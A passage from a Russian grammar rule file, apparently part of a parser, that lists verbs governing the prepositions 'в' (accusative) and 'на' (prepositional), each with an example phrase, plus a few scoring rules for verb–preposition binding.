rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
